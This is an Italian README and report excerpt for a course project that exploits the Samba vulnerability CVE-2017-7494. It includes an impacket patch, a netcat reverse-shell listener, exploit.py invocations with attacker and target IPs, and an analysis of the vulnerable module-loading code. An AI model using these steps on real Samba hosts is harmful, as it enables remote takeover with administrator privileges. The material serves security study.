Exploit CVE-2017-7494 per l'assegnazione finale del corso Net Security. Questo rivelerebbe la vulnerabilità dei servizi che vengono eseguiti con priorità amministrativa su Linux.
Exploit di CVE-2017-7494 per l'assegnazione finale del corso di Net Security. Questo esperimento mette in luce la vulnerabilità dei servizi che vengono eseguiti con privilegi amministrativi sul sistema operativo.
Questo bug funziona sia su macOS che su Linux.
Prima dell'exploit, devi scaricare le dipendenze.
/bin/bash install_requirement.sh
Una delle dipendenze più importanti è il pacchetto impacket per Python, che fa funzionare la connessione SMB.
Tuttavia, per costruire una richiesta valida che faccia caricare al server Samba il nostro modulo dannoso, dobbiamo modificare l'impacket originale.
Il file di installazione install_requirement.sh installa una versione modificata (modificata da me), quindi non devi preoccuparti di questo e non è necessario alcun intervento manuale.
Tuttavia, se vuoi usare una versione più recente o un'altra versione di impacket, devi modificare quel pacchetto da solo.
Vai a
impacket/impacket/smb3.py, modifica la riga 11154 e commenta le due istruzioni seguenti:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
Per sfruttare il bersaglio, devi aprire due terminali. Uno usa netcat per interagire con la reverse shell, l'altro serve per sfruttare il bug.
Utilizzo:
#First terminal use nc to get reverse shell
$ nc -p 23333 -l
# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Se il bersaglio è macOS, non devi compilare il modulo su Linux! Poiché gcc non supporta il formato MACH-O. Se sei un utente Mac, la compilazione della payload per macOS funziona.
Nella directory è inclusa una versione precompilata: mac_payload.so.
Usa il flag -m per far sapere a exploit.py che userai una payload personalizzata.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Un procedimento dettagliato verrà pubblicato in cinese come mia consegna finale. Se capisci il cinese, per te andrà bene. :)
—— Rapporto sull'attacco CVE2017-7494
EternalBlue (Eternal Blue) ha causato danni enormi nel 2017, sfruttando il meccanismo SMB di Windows per condurre attacchi worm. SMB è un servizio che gira su Windows e consente a host diversi di condividere file e di effettuare chiamate a procedure remote (Remote Procedure Call, RPC). È forse proprio questa natura funzionale a renderlo un bersaglio frequente per gli hacker.
Le vulnerabilità del kernel del sistema operativo in sé dovrebbero essere piuttosto poche — anche per Windows è così; ciò che di solito si rompe sono i vari servizi che girano sul sistema operativo. Essi non hanno codice rigorosamente specificato e accuratamente testato come quello del sistema operativo, ma girano con privilegi molto elevati, generando così molte opportunità di sfruttamento malevolo. Possiamo quindi compromettere l'intero sistema attaccando i servizi ad alta priorità del sistema operativo, piuttosto che i componenti di basso livello del sistema stesso? Da solo, il sistema operativo è solo un kernel, che non può fare nulla; è solo eseguendo i vari servizi di sistema che può offrirci funzionalità diverse. Il sistema operativo ha molti servizi che possono essere usati solo se eseguiti con privilegi di amministratore (come demoni); pertanto, una volta compromesso un servizio ad alta priorità di questo tipo, si ottengono naturalmente i privilegi di amministratore del sistema, e si può quindi conquistare l'intero sistema operativo.
Infine, ho trovato una vulnerabilità sfruttabile nell'implementazione open source di SMB, Samba — CVE2017-7494. Come per Windows, gli hacker possono ottenere i privilegi di amministratore del sistema operativo tramite le chiamate a procedure remote di Samba, e avere così l'opportunità di costruire worm per attaccare in rete.
Il kernel Linux è sempre stato rinomato per la sicurezza garantita dall'open source; macOS, invece, essendo un sistema di nicchia, grazie al ridotto numero di virus che lo prendono di mira fa spesso nascere l'illusione di essere sicuro. Per questo motivo, questo esperimento attacca macOS e diverse distribuzioni Linux per mostrare la fragilità dei sistemi operativi — non importa quanto "apparentemente sicuro" possa sembrare il progetto di un sistema operativo, in qualsiasi circostanza può essere compromesso a causa di una vulnerabilità in una piccola applicazione.
Poiché Samba è un servizio equivalente per natura a SMB, c'è chi lo chiama "EternalBlue in versione Linux", anche se ritengo che da un punto di vista tecnico i due siano sostanzialmente diversi:
Questa vulnerabilità deriva principalmente dalla chiamata a smb_probe_module() nella funzione bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) in source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
//这里出问题了
status = smb_probe_module("rpc", pipename);
....
La funzione di livello superiore di is_known_pipename(), np_open(), è un modulo di controllo che chiama is_known_pipename() dopo aver verificato le richieste del servizio RPC. A giudicare dal nome, is_known_pipename() serve a determinare se una pipe remota sia già registrata; ma dopo Samba 3.50 è stata introdotta una nuova funzionalità: caricare moduli dinamici tramite la chiamata a smb_probe_module(). E questa vulnerabilità sfrutta proprio questa funzionalità di caricamento dei moduli per invocare un modulo dannoso costruito appositamente.
Il caricamento del modulo rpc pipe segue la seguente catena di chiamate:
is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()
Tra le versioni Samba 3.5.0 e Samba 4.6.3, la funzione do_smb_load_module() è stata riutilizzata sia da smb_probe_module() (che carica i moduli RPC) sia da un altro smb_probe_module() (che carica i moduli propri di Samba). smb_load_module() serve a caricare alcuni moduli noti; dovrebbe essere usato per le chiamate interne alle estensioni funzionali di Samba stesso, come i moduli VFS; mentre smb_probe_module() dovrebbe significare caricare alcuni moduli possibili, che potrebbero provenire dalle richieste RPC.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Per poter essere riutilizzata da queste due funzioni di origine molto diversa (anche se, a mio avviso, queste due funzioni non avrebbero assolutamente dovuto riutilizzare lo stesso modulo), do_smb_load_module() implementa entrambe le modalità: "caricare il modulo all'interno del sottosistema SMB analizzando la richiesta" e "caricare il modulo tramite un percorso assoluto".